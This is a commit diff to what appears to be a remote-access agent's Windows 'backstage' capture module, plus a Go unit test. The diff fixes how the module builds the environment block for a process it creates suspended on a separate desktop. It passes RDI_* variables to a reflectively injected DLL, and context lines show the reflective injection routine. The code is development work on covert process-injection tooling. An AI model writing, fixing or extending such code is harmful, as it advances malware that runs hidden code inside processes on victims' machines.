hopefully fix access violation error

Overlord-Client/cmd/agent/capture/backstage_inject_windows.go

@@ -13,7 +13,10 @@ import (
 	"sync/atomic"
 	"syscall"
 	"time"
+	"unicode/utf16"
 	"unsafe"
+
+	"golang.org/x/sys/windows"
 )
 
 var (
@@ -1193,27 +1196,109 @@ func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName
 }
 
 func buildEnvironmentBlock(searchPath, replacePath, shmName string, dllSize int) ([]uint16, error) {
-	envStrings := syscall.Environ()
+	rawPtr, err := windows.GetEnvironmentStrings()
+	if err != nil {
+		return nil, fmt.Errorf("GetEnvironmentStrings: %w", err)
+	}
+	defer windows.FreeEnvironmentStrings(rawPtr)
 
-	envStrings = append(envStrings, "RDI_SEARCH_PATH="+searchPath)
+	rawSlice := (*[1 << 20]uint16)(unsafe.Pointer(rawPtr))[:]
-	envStrings = append(envStrings, "RDI_REPLACE_PATH="+replacePath)
+	blockLen := 0
-	if shmName != "" {
+	for i := 0; ; i++ {
-		envStrings = append(envStrings, "RDI_DLL_SECTION="+shmName)
+		if rawSlice[i] == 0 && i > 0 && rawSlice[i-1] == 0 {
-		envStrings = append(envStrings, fmt.Sprintf("RDI_DLL_SIZE=%d", dllSize))
+			blockLen = i + 1
+			break
+		}
+		if i >= len(rawSlice)-1 {
+			return nil, fmt.Errorf("environment block appears unterminated")
+		}
 	}
 
-	var block []uint16
+	extra := []string{
-	for _, s := range envStrings {
+		"RDI_SEARCH_PATH=" + searchPath,
-		u, err := syscall.UTF16FromString(s)
+		"RDI_REPLACE_PATH=" + replacePath,
-		if err != nil {
+	}
+	if shmName != "" {
+		extra = append(extra, "RDI_DLL_SECTION="+shmName)
+		extra = append(extra, fmt.Sprintf("RDI_DLL_SIZE=%d", dllSize))
+	}
+
+	return appendEnvironmentOverrides(rawSlice[:blockLen], extra)
+}
+
+func appendEnvironmentOverrides(rawBlock []uint16, extra []string) ([]uint16, error) {
+	entries, err := environmentBlockEntries(rawBlock)
+	if err != nil {
+		return nil, err
+	}
+
+	block := make([]uint16, 0, len(rawBlock))
+	for _, entry := range entries {
+		if isRDIEnvironmentEntry(entry) {
 			continue
 		}
+		u, encErr := syscall.UTF16FromString(entry)
+		if encErr != nil {
+			return nil, fmt.Errorf("UTF16FromString(%q): %w", entry, encErr)
+		}
 		block = append(block, u...)
 	}
+	for _, entry := range extra {
+		u, encErr := syscall.UTF16FromString(entry)
+		if encErr != nil {
+			return nil, fmt.Errorf("UTF16FromString(%q): %w", entry, encErr)
+		}
+		block = append(block, u...)
+	}
+
 	block = append(block, 0)
 	return block, nil
 }
 
+func environmentBlockEntries(block []uint16) ([]string, error) {
+	entries := make([]string, 0, 32)
+	for i := 0; i < len(block); {
+		if block[i] == 0 {
+			return entries, nil
+		}
+
+		start := i
+		for i < len(block) && block[i] != 0 {
+			i++
+		}
+		if i >= len(block) {
+			return nil, fmt.Errorf("environment block entry appears unterminated")
+		}
+		entries = append(entries, string(utf16.Decode(block[start:i])))
+		i++
+	}
+	return nil, fmt.Errorf("environment block appears unterminated")
+}
+
+func isRDIEnvironmentEntry(entry string) bool {
+	if strings.HasPrefix(entry, "=") {
+		return false
+	}
+
+	name, _, ok := strings.Cut(entry, "=")
+	if !ok {
+		name = entry
+	}
+
+	switch {
+	case strings.EqualFold(name, "RDI_SEARCH_PATH"):
+		return true
+	case strings.EqualFold(name, "RDI_REPLACE_PATH"):
+		return true
+	case strings.EqualFold(name, "RDI_DLL_SECTION"):
+		return true
+	case strings.EqualFold(name, "RDI_DLL_SIZE"):
+		return true
+	default:
+		return false
+	}
+}
+
 func reflectiveInject(hProcess uintptr, dllBytes []byte) error {
 	loaderOffset, err := findReflectiveLoaderOffset(dllBytes)
 	if err != nil {

Overlord-Client/cmd/agent/capture/backstage_inject_windows_test.go

@@ -0,0 +1,69 @@
+//go:build windows
+
+package capture
+
+import (
+	"slices"
+	"syscall"
+	"testing"
+)
+
+func TestAppendEnvironmentOverridesPreservesUnicodeAndReplacesRDI(t *testing.T) {
+	raw := testEnvironmentBlock(t,
+		"=C:=C:\\Users\\tester",
+		"Path=C:\\Windows\\System32",
+		"RDI_SEARCH_PATH=C:\\stale",
+		"rdi_dll_size=not-a-number",
+		"USERNAME=Jose\u0301",
+	)
+
+	block, err := appendEnvironmentOverrides(raw, []string{
+		"RDI_SEARCH_PATH=C:\\Users\\\u6d4b\u8bd5\\Profile",
+		"RDI_REPLACE_PATH=D:\\Clone\\\u590d\u5236",
+		"RDI_DLL_SECTION=Local\\OverlordRDI_123",
+		"RDI_DLL_SIZE=12345",
+	})
+	if err != nil {
+		t.Fatalf("appendEnvironmentOverrides: %v", err)
+	}
+	if len(block) < 2 || block[len(block)-1] != 0 || block[len(block)-2] != 0 {
+		t.Fatalf("environment block is not double-NUL terminated: tail=%v", block[max(0, len(block)-4):])
+	}
+
+	entries, err := environmentBlockEntries(block)
+	if err != nil {
+		t.Fatalf("environmentBlockEntries: %v", err)
+	}
+
+	for _, stale := range []string{"RDI_SEARCH_PATH=C:\\stale", "rdi_dll_size=not-a-number"} {
+		if slices.Contains(entries, stale) {
+			t.Fatalf("stale RDI entry was preserved: %q in %#v", stale, entries)
+		}
+	}
+
+	for _, want := range []string{
+		"=C:=C:\\Users\\tester",
+		"USERNAME=Jose\u0301",
+		"RDI_SEARCH_PATH=C:\\Users\\\u6d4b\u8bd5\\Profile",
+		"RDI_REPLACE_PATH=D:\\Clone\\\u590d\u5236",
+		"RDI_DLL_SIZE=12345",
+	} {
+		if !slices.Contains(entries, want) {
+			t.Fatalf("missing environment entry %q in %#v", want, entries)
+		}
+	}
+}
+
+func testEnvironmentBlock(t *testing.T, entries ...string) []uint16 {
+	t.Helper()
+
+	var block []uint16
+	for _, entry := range entries {
+		u, err := syscall.UTF16FromString(entry)
+		if err != nil {
+			t.Fatalf("UTF16FromString(%q): %v", entry, err)
+		}
+		block = append(block, u...)
+	}
+	return append(block, 0)
+}